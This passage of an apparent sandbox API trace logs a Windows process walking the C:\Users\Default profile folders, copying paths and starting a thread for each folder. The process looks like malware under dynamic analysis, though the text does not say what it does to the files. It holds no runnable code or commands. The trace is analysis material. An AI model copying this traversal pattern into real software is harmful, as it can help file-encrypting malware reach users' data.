ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0139.741] wcscmp (_String1="Favorites", _String2=".") returned 1 [0139.741] wcscmp (_String1="Favorites", _String2="..") returned 1 [0139.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9e90 [0139.741] wcscpy (in: _Dest=0x8d9e90, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.741] wcscat (in: _Dest=0x8d9e90, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.741] wcscat (in: _Dest=0x8d9e90, _Source="Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0139.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0139.742] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0139.743] wcscmp (_String1="Links", _String2=".") returned 1 [0139.743] wcscmp (_String1="Links", _String2="..") returned 1 [0139.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8daad0 [0139.743] wcscpy (in: _Dest=0x8daad0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.743] wcscat (in: _Dest=0x8daad0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.743] wcscat (in: _Dest=0x8daad0, _Source="Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0139.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8daad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0139.744] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0139.744] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0139.744] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0139.744] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d26f8 [0139.744] wcscpy (in: _Dest=0x8d26f8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.744] wcscat (in: _Dest=0x8d26f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.744] wcscat (in: _Dest=0x8d26f8, _Source="Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0139.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d26f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0139.745] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0139.745] wcscmp (_String1="Music", _String2=".") returned 1 [0139.745] wcscmp (_String1="Music", _String2="..") returned 1 [0139.745] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8dab08 [0139.745] wcscpy (in: _Dest=0x8dab08, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.745] wcscat (in: _Dest=0x8dab08, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.745] wcscat (in: _Dest=0x8dab08, _Source="Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0139.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dab08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0139.746] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0139.746] wcscmp (_String1="My Documents", _String2=".") returned 1 [0139.746] wcscmp (_String1="My Documents", _String2="..") returned 1 [0139.746] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2980 [0139.747] wcscpy (in: _Dest=0x8d2980, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.747] wcscat (in: _Dest=0x8d2980, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.747] wcscat (in: _Dest=0x8d2980, _Source="My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0139.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0139.748] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0139.748] wcscmp (_String1="NetHood", _String2=".") returned 1 [0139.748] wcscmp (_String1="NetHood", _String2="..") returned 1 [0139.748] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9ed0 [0139.748] wcscpy (in: _Dest=0x8d9ed0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.748] wcscat (in: _Dest=0x8d9ed0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.748] wcscat (in: _Dest=0x8d9ed0, _Source="NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0139.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0139.749] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0139.749] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT.LOG", _String2=".") returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT.LOG", _String2="..") returned 1 [0139.749] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT.LOG1", _String2=".") returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT.LOG1", _String2="..") returned 1 [0139.749] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT.LOG2", _String2=".") returned 1 [0139.749] wcscmp (_String1="NTUSER.DAT.LOG2", _String2="..") returned 1 [0139.749] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0139.750] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2=".") returned 1 [0139.750] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2="..") returned 1 [0139.750] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0139.750] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0139.750] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0139.750] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0139.750] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0139.750] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0139.750] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0139.750] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0139.750] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0139.750] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0139.750] wcscmp (_String1="Pictures", _String2=".") returned 1 [0139.750] wcscmp (_String1="Pictures", _String2="..") returned 1 [0139.750] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8d9f10 [0139.750] wcscpy (in: _Dest=0x8d9f10, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.750] wcscat (in: _Dest=0x8d9f10, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.750] wcscat (in: _Dest=0x8d9f10, _Source="Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0139.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0139.751] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0139.751] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0139.751] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0139.751] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9f50 [0139.751] wcscpy (in: _Dest=0x8d9f50, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.751] wcscat (in: _Dest=0x8d9f50, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.751] wcscat (in: _Dest=0x8d9f50, _Source="PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0139.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0139.752] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0139.752] wcscmp (_String1="Recent", _String2=".") returned 1 [0139.752] wcscmp (_String1="Recent", _String2="..") returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8dab40 [0139.752] wcscpy (in: _Dest=0x8dab40, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.752] wcscat (in: _Dest=0x8dab40, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.752] wcscat (in: _Dest=0x8dab40, _Source="Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0139.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dab40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0139.753] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0139.753] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0139.753] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0139.753] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d29c8 [0139.753] wcscpy (in: _Dest=0x8d29c8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.753] wcscat (in: _Dest=0x8d29c8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.754] wcscat (in: _Dest=0x8d29c8, _Source="Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0139.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d29c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0139.755] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa47ff6c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa47ff6c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0139.755] wcscmp (_String1="Searches", _String2=".") returned 1 [0139.755] wcscmp (_String1="Searches", _String2="..") returned 1 [0139.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8d9f90 [0139.755] wcscpy (in: _Dest=0x8d9f90, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.755] wcscat (in: _Dest=0x8d9f90, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.755] wcscat (in: _Dest=0x8d9f90, _Source="Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0139.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0139.756] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0139.756] wcscmp (_String1="SendTo", _String2=".") returned 1 [0139.756] wcscmp (_String1="SendTo", _String2="..") returned 1 [0139.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8dab78 [0139.756] wcscpy (in: _Dest=0x8dab78, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.756] wcscat (in: _Dest=0x8dab78, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.756] wcscat (in: _Dest=0x8dab78, _Source="SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0139.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dab78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0139.757] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0139.757] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0139.757] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0139.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8d9fd0 [0139.757] wcscpy (in: _Dest=0x8d9fd0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.757] wcscat (in: _Dest=0x8d9fd0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.757] wcscat (in: _Dest=0x8d9fd0, _Source="Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0139.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0139.758] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0139.758] wcscmp (_String1="Templates", _String2=".") returned 1 [0139.758] wcscmp (_String1="Templates", _String2="..") returned 1 [0139.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8da010 [0139.758] wcscpy (in: _Dest=0x8da010, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.758] wcscat (in: _Dest=0x8da010, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.758] wcscat (in: _Dest=0x8da010, _Source="Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0139.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0139.759] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0139.759] wcscmp (_String1="Videos", _String2=".") returned 1 [0139.759] wcscmp (_String1="Videos", _String2="..") returned 1 [0139.759] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8dabb0 [0139.760] wcscpy (in: _Dest=0x8dabb0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0139.760] wcscat (in: _Dest=0x8dabb0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0139.760] wcscat (in: _Dest=0x8dabb0, _Source="Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0139.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8dabb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0139.760] FindNextFileW (in: hFindFile=0x8d9b50, 